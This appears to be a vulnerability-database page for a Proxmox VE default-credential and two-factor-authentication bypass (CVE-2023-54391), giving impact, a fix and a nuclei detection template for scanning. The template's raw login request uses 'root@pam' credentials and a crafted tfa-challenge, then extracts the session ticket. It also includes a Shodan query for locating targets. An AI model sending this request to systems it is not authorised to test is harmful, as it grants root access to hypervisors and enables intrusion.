HexBrain

Browse / CVEs / CVE-2023-54391

CVE-2023-54391

Proxmox VE - Default Credentials with TFA Bypass

criticalseverity
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Detected Proxmox VE was accessible using default root@pam credentials combined with a TFA challenge bypass. An attacker could authenticate as root by submitting the default password "root@pam" along with a crafted tfa-challenge parameter, thereby bypassing two-factor authentication enforcement and gaining full administrative access to the hypervisor management interface.

Impact

Unauthenticated attackers can bypass authentication and gain unauthorized access, including root privileges.

Fix

Update to version 8.0.4 or later.

How to confirm it

Send: POST /api2/json/access/ticket
Positive when: contains "\"data\"" and "\"ticket\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-54391 -u <target>

The full check
id: CVE-2023-54391

info:
  name: Proxmox VE - Default Credentials with TFA Bypass
  author: DhiyaneshDk,0x_Akoko
  severity: critical
  description: |
    Detected Proxmox VE was accessible using default root@pam credentials combined with a TFA challenge bypass. An attacker could authenticate as root by submitting the default password "root@pam" along with a crafted tfa-challenge parameter, thereby bypassing two-factor authentication enforcement and gaining full administrative access to the hypervisor management interface.
  impact: |
    Unauthenticated attackers can bypass authentication and gain unauthorized access, including root privileges.
  remediation: |
    Update to version 8.0.4 or later.
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Proxmox"
  tags: cve,cve2023,proxmox,auth-bypass,vuln,vkev

http:
  - raw:
      - |
        POST /api2/json/access/ticket HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8
        Accept: application/json

        username=root%40pam&password=root%40pam&tfa-challenge=NEBUSEC-CHALLENGE

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data"'
          - '"ticket"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: ticket
        part: body
        regex:
          - '"ticket"\s*:\s*"([^"]+)"'
        group: 1

Use this check only on systems you are authorised to test. Where the data comes from